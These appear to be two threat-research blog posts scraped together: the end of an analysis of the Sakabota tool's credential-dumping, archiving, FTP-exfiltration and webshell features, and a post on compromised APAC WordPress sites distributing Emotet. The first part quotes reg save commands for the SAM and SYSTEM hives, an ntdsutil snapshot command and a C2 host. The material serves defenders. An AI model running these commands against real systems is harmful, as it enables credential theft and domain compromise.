Reg save hklm\sam <supplied folder name>\sam
Reg save hklm\system <supplied folder name>\system

The ‘NTDS’ portion allows an actor to obtain a copy of a domain controller by creating an installation media using the ‘ntdsutil’ application. We have seen adversaries use this technique to create a clone of the domain controller that they exfiltrate for backup and offline processing purposes. The actor will select a folder to save the output and click the ‘SnapShot’ button that will run the following command to take a snapshot of the domain controller:

ntdsutil "activate instance ntds" ifm "create full <actor provided path>\ntds" quit quit

 

Figure 6. Sakabota’s ‘Passwords’ tab

The ‘File MNG’ tab seen in Figure 7 allows the actor to interact directly with the filesystem to create RAR archives of files and folders and to upload specific files to the C2 via FTP. The ‘RAR’ portion allows the actor to select a folder to archive its files by first saving an embedded ‘rar.exe’ (SHA256: ea139458b4e88736a3d48e81569178fd5c11156990b6a90e2d35f41b1ad9bac1) to the system as “R.exe” and runs ‘cd <Read text box> & R.exe a -r -v <Size text box> <Write text box>’. The ‘FTP’ portion of the tab allows the actor to select files from the system to upload to its C2 server hosted at ‘pasta58[.]com’ over FTP. Table 3 shows the functionality that the various radio and checkboxes enable if selected in the FTP section. The ‘B64’ section is meant to allow the actor to base64 encode and decode files on the system; however, it’s functionality does not seem to work appropriately. The dropdown has two options: ‘CERT’ and ‘STD’ with the former using the legitimate Microsoft ‘certutil’ application to encode or decode the file while the latter uses the ToBase64String and FromBase64String methods within the System.Convert class. Neither the ‘CERT’ and ‘STD’ options work correctly, with the ‘STD’ option having the same exact code used for the encode and decode buttons. The ‘STD’ method is quite interesting, as both the ‘Encode’ and ‘Decode’ buttons read the file contents and encode them by calling the ToBase64String method, but then immediately calls FromBase64String on the encoded contents, which effectively results in the cleartext of the file. We are unsure of the purpose of this functionality, as it appears to be a coding error made by the developer.

Checkbox Description
SYS Writes paths to selected files to 'List.txt' and creates a scheduled task named 'mytask' to run the Sakabota executable with the '-up-l List.txt'
CMD Creates a scheduled task named 'mytask' to run a batch script "c:\FOPO.bat" that saves FTP commands to 'ftpcmd.dat' to upload the selected files
NOR Normal FTP upload
KWF Abbreviation for “Kill When Finished”, which exits the Sakabota application after uploading the files
DEL Deletes the file after uploading

Table 3. Radio and Checkboxes and their functionality in the ‘FTP’ section of Sakabota

Figure 7. Sakabota’s ‘File MNG’ tab

Sakabota’s ‘Resources’ tab seen in Figure 8 has two buttons ‘Shell’ and ‘Agent’ that install a webshell and PowerShell backdoor, respectively.

Figure 8. Sakabota’s ‘Resources’ tab

The webshell is in the Sakabota binary within a resource named ‘Shell’ (SHA256:
b2fb0da6832e554194b59c817922770af13d474179a1c0381809676ef2709d24) and is meant for the actor to install on an IIS server running ASP.NET, as the webshell was written in C#. By clicking the button, Sakabota will write the embedded Shell to a filenamed ‘Shell.aspx’, which the actor would then have to move to an IIS directory. The webshell requires authentication before the actor to run commands and upload files to the web server. The authentication process involves checking the MD5 hash of the string in the ‘id’ parameter of the URL with a hardcoded MD5 hash ‘6242182812353019113116910419137224228’ in the webshell. This authentication process is flawed and cannot work, as the hardcoded MD5 hash is not valid as it contains 37 characters instead of 32, so the actor cannot authenticated to the shell and is therefore unusable in its current form. Figure 9 shows the webshell’s interface, which we had to remove the webshell’s authentication mechanism to display.

Figure 9. Interface of webshell embedded within Sakabota’s ‘Resources’ tab

When the actor clicks the Agent button, Sakabota saves an embedded executable from within a resource named svhost to svhost.exe. This executable (SHA256:
ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9) installs a PowerShell based backdoor called CASHY200, which we covered in detail in a previous blog regarding the xHunt campaign.

The Web Browser tab seen in Figure 10 is rather interesting, as it does not have any buttons or the ability to actually browse the Internet. It is likely that this tab is an artifact of prior versions of Sakabota, but we are unsure why the developer would have removed the browsing functionality without removing the tab in its entirety.

Figure 10. Sakabota’s unsupported web browser tab

 

APAC’s Compromised Domains Fuel Emotet Campaign

Posted on by Vicky Ray

Executive Summary

Discovered in 2014, Emotet is one of the most prolific malware families, infecting computer systems globally through its mass campaigns of spam email that delivers malware (AKA malspam). These campaigns have been widely documented by many organizations, including how Emotet evolved from being a banking Trojan, to a malware loader with modular functionalities. The modular functionality of the malware allows the Emotet operators to install additional malware onto machines that are part of the Emotet botnet. The Emotet operators also provide their botnet as “Malware-as-a-Service” to other cyber-criminal gangs, who install their own malware of choice to the infected systems. For example, Emotet was recently used to deliver the Trickbot Trojan, which was then used to deliver the Ryuk ransomware.

Given Emotet’s destructive capability, incidents within enterprises have cost hundreds and thousands of dollars in recovery costs. The threat of an Emotet infection is significant and it is imperative to understand the Emotet operators’ modus operandi to better defend against it.

Our new research below reveals that despite the Emotet malspam campaigns going dark towards the end of May, a large number of vulnerable servers of small and mid-size enterprises (SMEs) across APAC (primarily Vietnam, India, Indonesia, Australia, China and Japan) are now being exploited by Emotet actors to distribute Emotet variants, primarily due to lack of updating and patching their web servers. Additionally, we found that the majority of these compromised domains are running the WordPress blogging software.

As we continue to notice SME’s websites being exploited at a high rate across APAC (also observed in other campaigns), and being leveraged as malware distribution servers, we were interested to look at the APAC regional numbers specifically for Emotet distribution. Narrowing down per regional country also helps in response efforts with associated national CERTs.

Emotet Campaign Overview

An important aspect to the overall Emotet campaign modus operandi, is the use of compromised legitimate domains to host and distribute the Emotet delivery docs and executables. Looking at the compromised domains, we note that the majority of the domains are SMEs with legitimate businesses. SME organizations often don’t update or patch their web servers, likely due to their limited resources. This allows cyber-criminals, like the Emotet actors, to exploit the server-side vulnerabilities and host the malicious Emotet variants that are then delivered via http links, embedded in the malspam campaigns.

Figure 1 below gives a high-level overview of how Emotet campaigns infect victim machines. The actors first scan the internet for vulnerable web-servers, which are then exploited and used to host the malicious Emotet variants. The actors then proceed with their email spam campaigns with legitimate-looking themes to lure victims to click on the attached URL that downloads the Emotet delivery document or executable from the compromised domain hosting the malware. In the case of Emotet delivery documents, it typically includes a macro that then downloads and executes the Emotet payload, infecting the victim’s machine. Whereas in other cases, Emotet executables are downloaded directly from the compromised domains and infect the victim’s machine to join the wider Emotet botnet.

Figure 1. Current depiction of Emotet delivery using distribution servers.

Return of Emotet

Our data indicates malspam and command and control (C2) activity for Emotet has been active as of September 16, 2019 after a three-and-a-half-month break. This has been confirmed by media reports through several other sources. While most of the reports published on Emotet’s malspam campaign gives a good understanding on the possible number of victims or victim geolocation, we would like to focus on the use of compromised legitimate domains. These are used as distribution servers for Emotet’s initial malicious document variants and try and give an understanding on which countries within APAC are largely impacted.

APAC Distribution Servers

 

Various criminal groups often use compromised servers from legitimate domains to distribute malware. This is a common tactic, because most networks from legitimate domains are less likely to be blocked by a targeted organization. Therefore, these Emotet Word documents and executable files are far more likely to reach a victim's host.

Looking at our datasets and extracting all APAC related domains involved in the spreading of Emotet malware since January 2019, we can see a clear increase in distribution servers used by the Emotet actors since early 2019. As mentioned above, the Emotet malspam campaigns went dark towards the end of May, but it is important to note from Figure 2 that the number of distribution servers used during the month of May was significantly higher than previous months, which may imply that the actors intended to grow their botnet and also possibly profit as much as possible before they took a break.

Figure 2 Emotet monthly distribution servers since January 2019

Drilling down to country-specific domains, we can discern some interesting insights into the most affected countries. As seen in Figure 3 below, the top affected countries are Vietnam, India, Indonesia, Australia, China and Japan, followed by several ASEAN nations.

Our data below reveals a large number of vulnerable servers across APAC are exploited by Emotet actors to distribute Emotet variants. This data also indicates that a large number of SME’s fail to perform best practices, like patching their systems on a regular basis, resulting in them being exploited and becoming a critical part of the overall success of the Emotet campaign.

Figure 3 Distribution servers by Country

It is important to note that the majority of the compromised domains are running the WordPress blogging software. A quick search for WordPress vulnerabilities on vulnerability tracker sites, like “CVE Details”, shows the high number of vulnerabilities that have been disclosed for WordPress. A similar search on “Exploit-DB” also shows the high number of exploits being published every month in the public domain, allowing anyone to reuse the exploits published. While the understanding of Emotet actors exploiting vulnerable WordPress sites is not new to the security community, it is important to stress and highlight this again to raise the awareness for organizations to patch their web applications as soon as possible and deter threat actors like the Emotet gang to take advantage of the vulnerabilities and avoid a more devastating impact.

Conclusion

While Emotet has been active for a number of years, their ongoing campaign numbers, modular platform, disruptive capability, related incidents and the associated recovery costs for organizations show that this is one of the most significant cyber threats of the current era. Our emphasis on the distribution servers across the APAC region on this blog was to gain visibility on regional, in-country numbers and also to streamline remediation efforts and raise awareness on how cybercriminals are taking advantage of vulnerable SME’s. We also set out to illustrate why it is imperative for SME’s to improve their cyber-hygiene on patching their respective web-servers and applications. We are concurrently working with respective, in-country national CERT teams to share the details on the affected compromised domains for possible remediation.

Palo Alto Networks customers are protected from this threat. Our threat prevention platform detects Emotet malware, with Wildfire while and simultaneously updating the  ‘malware’ category within the PAN-DB URL filtering solution for compromised domains it has identified.

AutoFocus users can track this activity using the Emotet tag.

IOCs:

https://github.com/pan-unit42/iocs/tree/master/emotet/sha256-hashes

 

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow